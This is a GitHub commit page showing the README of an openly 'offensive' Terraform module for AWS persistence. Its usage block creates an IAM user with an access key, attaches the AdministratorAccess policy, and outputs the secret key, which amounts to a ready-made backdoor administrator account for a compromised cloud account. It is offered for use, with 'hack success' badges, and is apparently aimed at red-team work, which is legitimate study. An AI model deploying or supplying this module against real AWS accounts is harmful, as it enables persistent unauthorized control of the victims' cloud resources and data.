Skip to content

Commit ecec8c5

Browse files
committed
Add module info
1 parent 4a03615 commit ecec8c5

File tree

1 file changed

+37
-1
lines changed

1 file changed

+37
-1
lines changed

README.md

Lines changed: 37 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1,37 @@
1-
# terraform-aws-iam-create-user-persistence
1+
# AWS IAM Create User Persistence
2+
3+
![OffensiveTerraform](https://img.shields.io/badge/hack-success)
4+
![OffensiveTerraform](https://img.shields.io/badge/offensive-terraform-blueviolet)
5+
![OffensiveTerraform](https://img.shields.io/badge/aws-important)
6+
7+
Offensive Terraform module which creates IAM user, access key then attaches managed IAM Policy to an IAM user.
8+
9+
![Attack Diagram](https://raw.githubusercontent.com/offensive-terraform/terraform-aws-iam-create-user-persistence/master/diagram.jpg)
10+
11+
## Usage
12+
```
13+
module "terraform-aws-iam-create-user-persistence" {
14+
source = "offensive-terraform/terraform-aws-iam-create-user-persistence/aws"
15+
16+
user_name = "test"
17+
policy_arn = "arn:aws:iam::aws:policy/AdministratorAccess"
18+
}
19+
20+
output "aws_iam_user" {
21+
value = module.terraform-aws-iam-create-user-persistence.aws_iam_user
22+
}
23+
24+
output "aws_iam_user_policy_arn" {
25+
value = module.terraform-aws-iam-create-user-persistence.aws_iam_user_policy_arn
26+
}
27+
28+
output "access_key" {
29+
value = module.terraform-aws-iam-create-user-persistence.access_key
30+
}
31+
32+
output "secret_key" {
33+
value = module.terraform-aws-iam-create-user-persistence.secret_key
34+
}
35+
```
36+
## Author
37+
Module managed by https://github.com/iganbold

0 commit comments

Comments
 (0)